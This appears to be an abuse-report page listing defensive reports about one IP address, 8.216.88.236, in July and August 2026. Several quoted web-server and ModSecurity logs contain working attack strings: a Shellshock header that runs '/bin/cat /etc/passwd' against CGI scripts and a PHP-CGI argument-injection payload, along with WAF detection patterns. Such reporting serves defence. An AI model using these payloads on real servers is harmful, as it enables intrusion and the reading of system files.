🇨🇭
SOC [GOLINE SA]
2026-08-02 15:03:16
(3 weeks ago)
FortiGate detected IPS attack from IPv4 address 8.216.88.236
Hacking
🇨🇭
SOC [GOLINE SA]
2026-08-01 15:02:51
(4 weeks ago)
FortiGate detected IPS attack from IPv4 address 8.216.88.236
Hacking
🇨🇭
SOC [GOLINE SA]
2026-07-31 15:02:33
(4 weeks ago)
FortiGate detected IPS attack from IPv4 address 8.216.88.236
Hacking
🇧🇷
Caue Henrique
2026-07-31 14:21:00
(4 weeks ago)
SSH
🇩🇪
dispaisyenterprises
2026-07-30 15:57:45
(4 weeks ago)
Honeypot [fra-de-honeypot]: Suspicious payload (possible command injection); 2375 [4], 4712 [1], 700 ...
show more
Honeypot [fra-de-honeypot]: Suspicious payload (possible command injection); 2375 [4], 4712 [1], 7001 [1] TCP
Reported by DisPaisy Enterprises (dispaisy.systems) using: https://github.com/sefinek/T-Pot-To-AbuseIPDB
show less
Hacking
🇨🇭
SOC [GOLINE SA]
2026-07-30 15:01:58
(4 weeks ago)
FortiGate detected IPS attack from IPv4 address 8.216.88.236
Hacking
2026-07-30 14:02:45
(4 weeks ago)
Web attack
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-07-29 20:25:44
(4 weeks ago)
(mod_security) mod_security (id:221260) triggered by 8.216.88.236 (-): 1 in the last 300 secs; Ports ...
show more
(mod_security) mod_security (id:221260) triggered by 8.216.88.236 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Jul 29 16:25:36.494198 2026] [security2:error] [pid 124402:tid 124402] [client 8.216.88.236:51574] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.straypointers.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.straypointers.com"] [uri "/cgi-bin/test.cgi"] [unique_id "amphwP7-ZoT9ILfm9VxKzQAAAAw"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
show less
Brute-Force
Bad Web Bot
Web App Attack
🇫🇷
masterguru
2026-07-29 15:31:01
(1 month ago)
Host header is a numeric IP address. Pattern match "(?:^( (920350-195)
Hacking
Bad Web Bot
🇨🇭
SOC [GOLINE SA]
2026-07-29 15:01:29
(1 month ago)
FortiGate detected IPS attack from IPv4 address 8.216.88.236
Hacking
🇫🇷
masterguru
2026-07-29 14:23:28
(1 month ago)
Host header is a numeric IP address. Pattern match "(?:^( (920350-193)
Hacking
Bad Web Bot
🇺🇸
Lee Daniel
2026-07-29 11:52:32
(1 month ago)
8.216.88.236 - - [29/Jul/2026:07:52:31 -0400] "GET /cgi-bin/stats HTTP/1.1" 404 6245 "() { ignored; ...
show more
8.216.88.236 - - [29/Jul/2026:07:52:31 -0400] "GET /cgi-bin/stats HTTP/1.1" 404 6245 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
8.216.88.236 - - [29/Jul/2026:07:52:31 -0400] "GET /cgi-bin/test.cgi HTTP/1.1" 404 6245 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
8.216.88.236 - - [29/Jul/2026:07:52:31 -0400] "GET /test.cgi HTTP/1.1" 404 15254 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15"
8.216.88.236 - - [29/Jul/2026:07:52:31 -0400] "GET /cgi-bin/status HTTP/1.1" 404 6277 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/
...
show less
DDoS Attack
Web Spam
Email Spam
Port Scan
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-07-29 11:31:45
(1 month ago)
(mod_security) mod_security (id:221260) triggered by 8.216.88.236 (-): 1 in the last 300 secs; Ports ...
show more
(mod_security) mod_security (id:221260) triggered by 8.216.88.236 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Jul 29 07:31:39.501710 2026] [security2:error] [pid 2610052:tid 2610052] [client 8.216.88.236:51634] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||archaiusmusic.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "archaiusmusic.com"] [uri "/cgi-bin/test.cgi"] [unique_id "amnkm1nEH2W5di8CiBs0BgAAAAE"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-07-29 11:16:21
(1 month ago)
(mod_security) mod_security (id:218420) triggered by 8.216.88.236 (-): 1 in the last 300 secs; Ports ...
show more
(mod_security) mod_security (id:218420) triggered by 8.216.88.236 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Jul 29 07:16:17.197011 2026] [security2:error] [pid 258393:tid 258393] [client 8.216.88.236:43980] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||anhourofshortstories.johnpritchett.com|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "anhourofshortstories.johnpritchett.com"] [uri "/index.php"] [unique_id "amnhAS_uh2IcJYmrOtQ9tAAAACA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
k3rn3l109
2026-07-29 08:57:29
(1 month ago)
Sentinel honeypot: exploit-attempt hit on minio.edgecdnhub.com UA=Mozilla/5.0 (Macintosh; Intel Mac ...
show more
Sentinel honeypot: exploit-attempt hit on minio.edgecdnhub.com UA=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
show less
Hacking
